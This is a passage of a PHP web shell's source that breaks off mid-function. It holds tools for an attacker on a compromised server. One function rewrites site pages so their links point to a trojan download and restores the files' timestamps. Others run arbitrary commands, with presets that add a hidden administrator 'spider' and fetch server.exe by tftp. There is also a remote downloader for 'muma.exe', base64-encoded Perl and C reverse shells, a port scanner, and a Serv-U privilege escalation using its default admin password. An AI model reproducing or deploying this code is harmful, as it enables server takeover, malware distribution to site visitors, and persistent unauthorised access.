    if (($h_d = @opendir($tp)) == NULL) return false;
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' || $Filename == '..') continue;
        $Filepath = File_Str($tp . '/' . $Filename);
        if (is_dir($Filepath) && $tb) Tihuan_Auto($Filepath, $tt, $th, $tca, $tcb, $td, $tb);
        $doing = false;
        if (eregi($tt, $Filename)) {
            $ic = File_Read($Filepath);
            if ($th) {
                if (!stristr($ic, $tca)) continue;
                $ic = str_replace($tca, $tcb, $ic);
                $doing = true;
            } else {
                preg_match_all("/href\=\"([^~]*?)\"/i", $ic, $nc);
                for ($i = 0;$i < count($nc[1]);$i++) {
                    if (eregi($tca, $nc[1][$i])) {
                        $ic = str_replace($nc[1][$i], $tcb, $ic);
                        $doing = true;
                    }
                }
            }
            if ($td) $ftime = @filemtime($Filepath);
            if ($doing) echo File_Write($Filepath, $ic, 'wb') ? '<font color="#006600">:</font>' . $Filepath . ' <br>' . "\r\n" : '<font color="#FF0000">:</font>' . $Filepath . ' <br>' . "\r\n";
            if ($td) @touch($Filepath, $ftime);
            ob_flush();
            flush();
        }
    }
    @closedir($h_d);
    return true;
}
function Tihuan_d() {
    if ((!empty($_POST['tp'])) && (!empty($_POST['tt']))) {
        echo '<div class="actall">';
        $tt = str_replace('.', '\\.', $_POST['tt']);
        $td = isset($_POST['td']) ? true : false;
        $tb = ($_POST['tb'] == 'a') ? true : false;
        $th = ($_POST['th'] == 'a') ? true : false;
        if ($th) $_POST['tca'] = str_replace('.', '\\.', $_POST['tca']);
        echo Tihuan_Auto($_POST['tp'], $tt, $th, $_POST['tca'], $_POST['tcb'], $td, $tb) ? '<a href="#" onclick="window.location=\'?s=d\'"></a>' : '<a href="#" onclick="window.location=\'?s=d\'"></a>';
        echo '</div>';
        return false;
    }
    $FILE_DIR = File_Str(dirname(__FILE__));
    $ROOT_DIR = File_Mode();
    print <<<END
<script language="javascript">
function Fulllll(i){
	if(i==0) return false;
  Str = new Array(5);
  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
	else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
  return true;
}
function showth(th){
	if(th == 'a') document.getElementById('setauto').innerHTML = ' <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br> <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
	if(th == 'b') document.getElementById('setauto').innerHTML = '<br> <input type="text" name="tca" id="tca" value=".exe|.z0|.rar|.zip|.gz|.torrent" style="width:500px;"><br><br> <input type="text" name="tcb" id="tcb" value="http://www.xsjyigecaodandedama.com/download/muma.exe" style="width:500px;">';
	return true;
}
function autoup(){
	if(document.getElementById('tp').value == ''){alert('');return false;}
	if(document.getElementById('tt').value == ''){alert('');return false;}
	if(document.getElementById('tca').value == ''){alert('');return false;}
	document.getElementById('tform').submit();
}
</script>
<form method="POST" name="tform" id="tform" action="?s=d">
<div class="actall" style="height:35px;"> <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
</select></div>
<div class="actall" style="height:35px;"> <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
<select onchange='return Fulllll(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="3"></option>
<option value="4">+</option>
<option value="5">JS</option>
</select></div>
<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked> <input type="radio" name="th" value="b" onclick="showth('b')"><br>
<div id="setauto"> <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br> <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked></div>
<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>,
<br><input type="radio" name="tb" value="b"></div>
<div class="actall"><input type="button" value="" style="width:80px;height:26px;" onclick="autoup();"></div>
</form>
END;
    return true;
}
//
function Antivirus_Auto($sp, $features, $st, $sb) {
    if (($h_d = @opendir($sp)) == NULL) return false;
    $ROOT_DIR = File_Mode();
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' || $Filename == '..') continue;
        $Filepath = File_Str($sp . '/' . $Filename);
        if (is_dir($Filepath) && $sb) Antivirus_Auto($Filepath, $features, $st);
        if (eregi($st, $Filename)) {
            if ($Filepath == File_Str(__FILE__)) continue;
            $ic = File_Read($Filepath);
            foreach ($features as $var => $key) {
                if (stristr($ic, $key)) {
                    $Fileurls = str_replace($ROOT_DIR, 'http://' . $_SERVER['SERVER_NAME'] . '/', $Filepath);
                    $Filetime = @date('Y-m-d H:i:s', @filemtime($Filepath));
                    echo ' <a href="' . $Fileurls . '" target="_blank"> <font color="#8B0000"> ' . $Filepath . ' </font> </a> <br> <a href="?s=e&fp=' . urlencode($sp) . '&fn=' . $Filename . '&dim=' . urlencode($key) . '" target="_blank">  </a> <a href="?s=e&df=' . urlencode($Filepath) . '" target="_blank">  </a>  ';
                    echo '  ' . $Filetime . '  <font color="#FF0000"> ' . $var . ' </font> <br> <br> ' . "\r\n";
                    break;
                }
            }
            ob_flush();
            flush();
        }
    }
    @closedir($h_d);
    return true;
}
function Antivirus_e() {
    if (!empty($_GET['df'])) {
        echo $_GET['df'];
        if (@unlink($_GET['df'])) {
            echo '';
        } else {
            @chmod($_GET['df'], 0666);
            echo @unlink($_GET['df']) ? '' : '';
        }
        return false;
    }
    if ((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) {
        File_Edit($_GET['fp'], $_GET['fn'], $_GET['dim']);
        return false;
    }
    $SCAN_DIR = isset($_POST['sp']) ? $_POST['sp'] : File_Mode();
    $features_php = array('php1' => 'cha88.cn', 'php2' => '->read()', 'php3' => 'readdir(', 'MYSQL4' => 'returns string soname', 'php5' => 'eval(gzinflate(', 'php6' => 'eval(base64_decode(', 'php7' => 'eval($_', 'php8' => 'eval ($_', 'php9' => 'copy($_FILES', 'php10' => 'copy ($_FILES', 'php11' => 'move_uploaded_file($_FILES', 'php12' => 'move_uploaded_file ($_FILES', 'php13' => 'str_replace(\'\\\\\',\'/\',');
    $features_asx = array('asp1' => '', 'asp2' => '', 'asp3' => 'fso.createtextfile(path,true)', 'asp4' => '<%execute(request', 'asp5' => '<%eval request', 'asp6' => 'execute session(', 'asp7' => '--Created!', 'asp8' => 'WScript.Shell', 'asp9' => '<%@ LANGUAGE = VBScript.Encode %>', 'aspx10' => 'www.rootkit.net.cn', 'aspx11' => 'Process.GetProcesses', 'aspx12' => 'lake2');
    print <<<END
<form method="POST" name="tform" id="tform" action="?s=e">
<div class="actall"> <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:600px;"></div>
<div class="actall"> <input type="checkbox" name="stphp" value="php" checked>php 
<input type="checkbox" name="stasx" value="asx">asp+aspx</div>
<div class="actall" style="height:50px;"><input type="radio" name="sb" value="a" checked>,
<br><input type="radio" name="sb" value="b"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div>
</form>
END;
    if (!empty($_POST['sp'])) {
        echo '<div class="actall">';
        if (isset($_POST['stphp'])) {
            $features_all = $features_php;
            $st = '\.php|\.inc|\;';
        }
        if (isset($_POST['stasx'])) {
            $features_all = $features_asx;
            $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';
        }
        if (isset($_POST['stphp']) && isset($_POST['stasx'])) {
            $features_all = array_merge($features_php, $features_asx);
            $st = '\.php|\.inc|\.asp|\.asa|\.cer|\.aspx|\.ascx|\;';
        }
        $sb = ($_POST['sb'] == 'a') ? true : false;
        echo Antivirus_Auto($_POST['sp'], $features_all, $st, $sb) ? '' : '';
        echo '</div>';
    }
    return true;
}
//
function Findfile_Auto($sfp, $sfc, $sft, $sff, $sfb) {
    //echo $sfp.'<br>'.$sfc.'<br>'.$sft.'<br>'.$sff.'<br>'.$sfb;
    if (($h_d = @opendir($sfp)) == NULL) return false;
    while (false !== ($Filename = @readdir($h_d))) {
        if ($Filename == '.' || $Filename == '..') continue;
        if (eregi($sft, $Filename)) continue;
        $Filepath = File_Str($sfp . '/' . $Filename);
        if (is_dir($Filepath) && $sfb) Findfile_Auto($Filepath, $sfc, $sft, $sff, $sfb);
        if ($sff) {
            if (stristr($Filename, $sfc)) {
                echo '<a target="_blank" href="?s=p&fp=' . urlencode($sfp) . '&fn=' . urlencode($Filename) . '"> ' . $Filepath . ' </a><br>' . "\r\n";
                ob_flush();
                flush();
            }
        } else {
            $File_code = File_Read($Filepath);
            if (stristr($File_code, $sfc)) {
                echo '<a target="_blank" href="?s=p&fp=' . urlencode($sfp) . '&fn=' . urlencode($Filename) . '"> ' . $Filepath . ' </a><br>' . "\r\n";
                ob_flush();
                flush();
            }
        }
    }
    @closedir($h_d);
    return true;
}
function Findfile_j() {
    if (!empty($_GET['df'])) {
        echo $_GET['df'];
        if (@unlink($_GET['df'])) {
            echo '';
        } else {
            @chmod($_GET['df'], 0666);
            echo @unlink($_GET['df']) ? '' : '';
        }
        return false;
    }
    if ((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) {
        File_Edit($_GET['fp'], $_GET['fn'], $_GET['dim']);
        return false;
    }
    $SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode();
    $SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config';
    $SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip';
    print <<<END
<form method="POST" name="jform" id="jform" action="?s=j">
<div class="actall"> <input type="text" name="sfp" value="{$SCAN_DIR}" style="width:600px;"></div>
<div class="actall"> <input type="text" name="sft" value="{$SCAN_TYPE}" style="width:600px;"></div>
<div class="actall"> <input type="text" name="sfc" value="{$SCAN_CODE}" style="width:395px;">
<input type="radio" name="sff" value="a" checked> 
<input type="radio" name="sff" value="b"></div>
<div class="actall" style="height:50px;"><input type="radio" name="sfb" value="a" checked>,
<br><input type="radio" name="sfb" value="b"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div>
</form>
END;
    if ((!empty($_POST['sfp'])) && (!empty($_POST['sfc']))) {
        echo '<div class="actall">';
        $_POST['sft'] = str_replace('.', '\\.', $_POST['sft']);
        $sff = ($_POST['sff'] == 'a') ? true : false;
        $sfb = ($_POST['sfb'] == 'a') ? true : false;
        echo Findfile_Auto($_POST['sfp'], $_POST['sfc'], $_POST['sft'], $sff, $sfb) ? '' : '';
        echo '</div>';
    }
    return true;
}
//
function Info_Cfg($varname) {
    switch ($result = get_cfg_var($varname)) {
        case 0:
            return "No";
        break;
        case 1:
            return "Yes";
        break;
        default:
            return $result;
        break;
    }
}
function Info_Fun($funName) {
    return (false !== function_exists($funName)) ? "Yes" : "No";
}
function Info_f() {
    $dis_func = get_cfg_var("disable_functions");
    $upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "";
    $adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:" . $_SERVER['SERVER_ADMIN'] . "\">" . $_SERVER['SERVER_ADMIN'] . "</a>" : "<a href=\"mailto:" . get_cfg_var("sendmail_from") . "\">" . get_cfg_var("sendmail_from") . "</a>";
    if ($dis_func == "") {
        $dis_func = "No";
    } else {
        $dis_func = str_replace(" ", "<br>", $dis_func);
        $dis_func = str_replace(",", "<br>", $dis_func);
    }
    $phpinfo = (!eregi("phpinfo", $dis_func)) ? "Yes" : "No";
    $info = array(array("", date("Ymd h:i:s", time())), array("", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"), array("IP", gethostbyname($_SERVER['SERVER_NAME'])), array("", PHP_OS), array("", $_SERVER['HTTP_ACCEPT_LANGUAGE']), array("", $_SERVER['SERVER_SOFTWARE']), array("IP", getenv('REMOTE_ADDR')), array("Web", $_SERVER['SERVER_PORT']), array("PHP", strtoupper(php_sapi_name())), array("PHP", PHP_VERSION), array("", Info_Cfg("safemode")), array("", $adminmail), array("", __FILE__), array(" URL  allow_url_fopen", Info_Cfg("allow_url_fopen")), array(" enable_dl", Info_Cfg("enable_dl")), array(" display_errors", Info_Cfg("display_errors")), array(" register_globals", Info_Cfg("register_globals")), array("magic_quotes_gpc", Info_Cfg("magic_quotes_gpc")), array(" memory_limit", Info_Cfg("memory_limit")), array("POST post_max_size", Info_Cfg("post_max_size")), array(" upload_max_filesize", $upsize), array(" max_execution_time", Info_Cfg("max_execution_time") . ""), array(" disable_functions", $dis_func), array("phpinfo()", $phpinfo), array("diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'), array(" GD Library", Info_Fun("imageline")), array("IMAP", Info_Fun("imap_close")), array("MySQL", Info_Fun("mysql_close")), array("SyBase", Info_Fun("sybase_close")), array("Oracle", Info_Fun("ora_close")), array("Oracle 8 ", Info_Fun("OCILogOff")), array("PREL PCRE", Info_Fun("preg_match")), array("PDF", Info_Fun("pdf_close")), array("Postgre SQL", Info_Fun("pg_close")), array("SNMP", Info_Fun("snmpget")), array("(Zlib)", Info_Fun("gzclose")), array("XML", Info_Fun("xml_set_object")), array("FTP", Info_Fun("ftp_login")), array("ODBC", Info_Fun("odbc_close")), array("Session", Info_Fun("session_start")), array("Socket", Info_Fun("fsockopen")),);
    echo '<table width="100%" border="0">';
    for ($i = 0;$i < count($info);$i++) {
        echo '<tr><td width="40%">' . $info[$i][0] . '</td><td>' . $info[$i][1] . '</td></tr>' . "\n";
    }
    echo '</table>';
    return true;
}
//
function Exec_Run($cmd) {
    $res = '';
    if (function_exists('exec')) {
        @exec($cmd, $res);
        $res = join("\n", $res);
    } elseif (function_exists('shell_exec')) {
        $res = @shell_exec($cmd);
    } elseif (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $res = @ob_get_contents();
        @ob_end_clean();
    } elseif (@is_resource($f = @popen($cmd, "r"))) {
        $res = '';
        while ([email protected]($f)) {
            $res.= @fread($f, 1024);
        }
        @pclose($f);
    }
    return $res;
}
function Exec_g() {
    $res = '';
    $cmd = 'dir';
    if (!empty($_POST['cmd'])) {
        $res = Exec_Run($_POST['cmd']);
        $cmd = $_POST['cmd'];
    }
    print <<<END
<script language="javascript">
function sFull(i){
	Str = new Array(11);
	Str[0] = "dir";
	Str[1] = "net user spider spider /add";
	Str[2] = "net localgroup administrators spider /add";
	Str[3] = "netstat -an";
	Str[4] = "ipconfig";
	Str[5] = "copy c:\\1.php d:\\2.php";
	Str[6] = "tftp -i 219.134.46.245 get server.exe c:\\server.exe";
	document.getElementById('cmd').value = Str[i];
	return true;
}
</script>
<form method="POST" name="gform" id="gform" action="?s=g"><center><div class="actall">
 <input type="text" name="cmd" id="cmd" value="{$cmd}" style="width:399px;">
<select onchange='return sFull(options[selectedIndex].value)'>
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4"></option>
<option value="5"></option>
<option value="6">FTP</option>
</select>
<input type="submit" value="" style="width:80px;"></div>
<div class="actall"><textarea name="show" style="width:660px;height:399px;">{$res}</textarea></div></center>
</form>
END;
    return true;
}
//
function Com_h() {
    $object = isset($_GET['o']) ? $_GET['o'] : 'adodb';
    print <<<END
<div class="actall"><a href="?s=h&o=adodb">[ADODB.Connection]</a> 
<a href="?s=h&o=wscript">[WScript.shell]</a> 
<a href="?s=h&o=application">[Shell.Application]</a> 
<a href="?s=h&o=downloader">[Downloader]</a></div>
<form method="POST" name="hform" id="hform" action="?s=h&o={$object}">
END;
    if ($object == 'downloader') {
        $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.xsjyigecaodandedama.com/down/muma.exe';
        $Com_dpath = isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(__FILE__) . '/muma.exe');
        print <<<END
<div class="actall"> <input name="durl" value="{$Com_durl}" type="text" style="width:600px;"></div>
<div class="actall"> <input name="dpath" value="{$Com_dpath}" type="text" style="width:600px;"></div>
<div class="actall"><input value="" type="submit" style="width:80px;"></div></form>
END;
        if ((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) {
            echo '<div class="actall">';
            $contents = @file_get_contents($_POST['durl']);
            if (!$contents) echo '';
            else echo File_Write($_POST['dpath'], $contents, 'wb') ? '' : '';
            echo '</div>';
        }
    } elseif ($object == 'wscript') {
        $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir';
        print <<<END
<div class="actall">CMD <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div></form>
END;
        if (!empty($_POST['cmd'])) {
            echo '<div class="actall">';
            $shell = new COM('wscript');
            $exe = @$shell->exec("cmd.exe /c " . $cmd);
            $out = $exe->StdOut();
            $output = $out->ReadAll();
            echo '<pre>' . $output . '</pre>';
            @$shell->Release();
            $shell = NULL;
            echo '</div>';
        }
    } elseif ($object == 'application') {
        $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe';
        $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini';
        print <<<END
<div class="actall"> <input type="text" name="run" value="{$run}" style="width:600px;"></div>
<div class="actall"> <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div></form>
END;
        if (!empty($_POST['run'])) {
            echo '<div class="actall">';
            $shell = new COM('application');
            echo (@$shell->ShellExecute($run, '/c ' . $cmd) == '0') ? '' : '';
            @$shell->Release();
            $shell = NULL;
            echo '</div>';
        }
    } elseif ($object == 'adodb') {
        $string = isset($_POST['string']) ? $_POST['string'] : '';
        $sql = isset($_POST['sql']) ? $_POST['sql'] : '';
        print <<<END
<script language="javascript">
function hFull(i){
	if(i==0 || i==5) return false;
	Str = new Array(12);  
	Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb";
	Str[2] = "Driver={Sql Server};Server=,1433;Database=DbName;Uid=sa;Pwd=****";
	Str[3] = "Driver={MySql};Server=;Port=3306;Database=DbName;Uid=root;Pwd=****";
	Str[4] = "Provider=MSDAORA.1;Password=;User ID=;Data Source=;Persist Security Info=True;";
	Str[6] = "SELECT * FROM [TableName] WHERE ID<100";
	Str[7] = "INSERT INTO [TableName](USER,PASS) VALUES('spider','mypass')";
	Str[8] = "DELETE FROM [TableName] WHERE ID=100";
	Str[9] = "UPDATE [TableName] SET USER='spider' WHERE ID=100";
	Str[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
	Str[11] = "DROP TABLE [TableName]";
	Str[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
	Str[13] = "ALTER TABLE [TableName] DROP COLUMN PASS";
	if(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
	return true;
}
</script>
<div class="actall"> <input type="text" name="string" id="string" value="{$string}" style="width:526px;">
<select onchange="return hFull(options[selectedIndex].value)">
<option value="0" selected>----</option>
<option value="1">Access</option>
<option value="2">MsSql</option>
<option value="3">MySql</option>
<option value="4">Oracle</option>
<option value="5">--SQL--</option>
<option value="6"></option>
<option value="7"></option>
<option value="8"></option>
<option value="9"></option>
<option value="10"></option>
<option value="11"></option>
<option value="12"></option>
<option value="13"></option>
</select></div>
<div class="actall">SQL <input type="text" name="sql" id="sql" value="{$sql}" style="width:650px;"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div>
</form>
END;
        if (!empty($string)) {
            echo '<div class="actall">';
            $shell = new COM('adodb');
            @$shell->Open($string);
            $result = @$shell->Execute($sql);
            $count = $result->Fields->Count();
            for ($i = 0;$i < $count;$i++) {
                $Field[$i] = $result->Fields($i);
            }
            echo $result ? $sql . ' <br>' : $sql . ' <br>';
            if (!empty($count)) {
                while (!$result->EOF) {
                    for ($i = 0;$i < $count;$i++) {
                        echo htmlspecialchars($Field[$i]->value) . '<br>';
                    }
                    @$result->MoveNext();
                }
            }
            $shell->Close();
            @$shell->Release();
            $shell = NULL;
            echo '</div>';
        }
    }
    return true;
}
//
function Port_i() {
    $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1';
    $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958';
    print <<<END
<form method="POST" name="iform" id="iform" action="?s=i">
<div class="actall">IP <input type="text" name="ip" value="{$Port_ip}" style="width:600px;"> </div>
<div class="actall"> <input type="text" name="port" value="{$Port_port}" style="width:597px;"></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div>
</form>
END;
    if ((!empty($_POST['ip'])) && (!empty($_POST['port']))) {
        echo '<div class="actall">';
        $ports = explode('|', $_POST['port']);
        for ($i = 0;$i < count($ports);$i++) {
            $fp = @fsockopen($_POST['ip'], $ports[$i], $errno, $errstr, 2);
            echo $fp ? '<font color="#FF0000"> ---> ' . $ports[$i] . '</font><br>' : ' ---> ' . $ports[$i] . '<br>';
            ob_flush();
            flush();
        }
        echo '</div>';
    }
    return true;
}
//Linux
function Linux_k() {
    $yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR');
    $yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666';
    print <<<END
<form method="POST" name="kform" id="kform" action="?s=k">
<div class="actall"> <input type="text" name="yourip" value="{$yourip}" style="width:400px"></div>
<div class="actall"> <input type="text" name="yourport" value="12666" style="width:400px"></div>
<div class="actall"> <select name="use" >
<option value="perl">perl</option>
<option value="c">c</option>
</select></div>
<div class="actall"><input type="submit" value="" style="width:80px;"></div></form>
END;
    if ((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) {
        echo '<div class="actall">';
        if ($_POST['use'] == 'perl') {
            $back_connect_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj" . "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR" . "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT" . "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI" . "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi" . "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl" . "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
            echo File_Write('/tmp/spider_bc', base64_decode($back_connect_pl), 'wb') ? '/tmp/spider_bc<br>' : '/tmp/spider_bc<br>';
            $perlpath = Exec_Run('which perl');
            $perlpath = $perlpath ? chop($perlpath) : 'perl';
            echo Exec_Run($perlpath . ' /tmp/spider_bc ' . $_POST['yourip'] . ' ' . $_POST['yourport'] . ' &') ? 'nc -l -n -v -p ' . $_POST['yourport'] : '';
        }
        if ($_POST['use'] == 'c') {
            $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC" . "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb" . "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd" . "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ" . "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC" . "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D" . "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp" . "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
            echo File_Write('/tmp/spider_bc.c', base64_decode($back_connect_c), 'wb') ? '/tmp/spider_bc.c<br>' : '/tmp/spider_bc.c<br>';
            $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
            @unlink('/tmp/spider_bc.c');
            echo Exec_Run('/tmp/spider_bc ' . $_POST['yourip'] . ' ' . $_POST['yourport'] . ' &') ? 'nc -l -n -v -p ' . $_POST['yourport'] : '';
        }
        echo '<br> (nc -l -n -v -p ' . $_POST['yourport'] . ') </div>';
    }
    return true;
}
//ServU
function Servu_l() {
    $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#[email protected]$ak#.lk;[email protected]';
    print <<<END
<div class="actall"><a href="?s=l">[]</a> <a href="?s=l&o=adduser">[]</a></div>
<form method="POST">
	<div class="actall">ServU <input name="SUPort" type="text" value="43958" style="width:300px"></div>
	<div class="actall">ServU <input name="SUUser" type="text" value="LocalAdministrator" style="width:300px"></div>
	<div class="actall">ServU <input name="SUPass" type="text" value="{$SUPass}" style="width:300px"></div>
END;
    if ($_GET['o'] == 'adduser') {
        print <<<END
<div class="actall"> <input name="user" type="text" value="spider" style="width:200px">
 <input name="password" type="text" value="spider" style="width:200px">
 <input name="part" type="text" value="C:\\\\" style="width:200px"></div>
END;
        
    } else {
        print <<<END
<div class="actall"> <input name="SUCommand" type="text" value="net user spider spider /add & net localgroup administrators spider /add" style="width:600px"><br>
<input name="user" type="hidden" value="spider">
<input name="password" type="hidden" value="spider">
<input name="part" type="hidden" value="C:\\\\"></div>
END;
        
    }
    echo '<div class="actall"><input type="submit" value="" style="width:80px;"></div></form>';
    if ((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) {
        echo '<div class="actall">';
        $sendbuf = "";
        $recvbuf = "";
        $domain = "-SETDOMAIN\r\n" . "-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n" . "-TZOEnable=0\r\n" . " TZOKey=\r\n";
        $adduser = "-SETUSERSETUP\r\n" . "-IP=0.0.0.0\r\n" . "-PortNo=21\r\n" . "-User=" . $_POST['user'] . "\r\n" . "-Password=" . $_POST['password'] . "\r\n" . "-HomeDir=c:\\\r\n" . "-LoginMesFile=\r\n" . "-Disable=0\r\n" . "-RelPaths=1\r\n" . "-NeedSecure=0\r\n" . "-HideHidden=0\r\n" . "-AlwaysAllowLogin=0\r\n" . "-ChangePassword=0\r\n" . "-QuotaEnable=0\r\n" . "-MaxUsersLoginPerIP=-1\r\n" . "-SpeedLimitUp=0\r\n" . "-SpeedLimitDown=0\r\n" . "-MaxNrUsers=-1\r\n" . "-IdleTimeOut=600\r\n" . "-SessionTimeOut=-1\r\n" . "-Expire=0\r\n" . "-RatioUp=1\r\n" . "-RatioDown=1\r\n" . "-RatiosCredit=0\r\n" . "-QuotaCurrent=0\r\n" . "-QuotaMaximum=0\r\n" . "-Maintenance=None\r\n" . "-PasswordType=Regular\r\n" . "-Ratios=None\r\n" . " Access=" . $_POST['part'] . "\|RWAMELCDP\r\n";
        $deldomain = "-DELETEDOMAIN\r\n" . "-IP=0.0.0.0\r\n" . " PortNo=21\r\n";
        $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], $errno, $errstr, 10);
        $recvbuf = @fgets($sock, 1024);
        echo ": $recvbuf <br>";
        $sendbuf = "USER " . $_POST["SUUser"] . "\r\n";
        @fputs($sock, $sendbuf, strlen($sendbuf));
        echo ": $sendbuf <br>";
        $recvbuf = @fgets($sock, 1024);
        echo ": $recvbuf <br>";
        $sendbuf = "PASS " . $_POST["SUPass"] . "\r\n";
        @fputs($sock, $sendbuf, strlen($sendbuf));
        echo ": $sendbuf <br>";
        $recvbuf = @fgets($sock, 1024);
        echo ": $recvbuf <br>";
        $sendbuf = "SITE MAINTENANCE\r\n";
        @fputs($sock, $sendbuf, strlen($sendbuf));
        echo ": $sendbuf <br>";
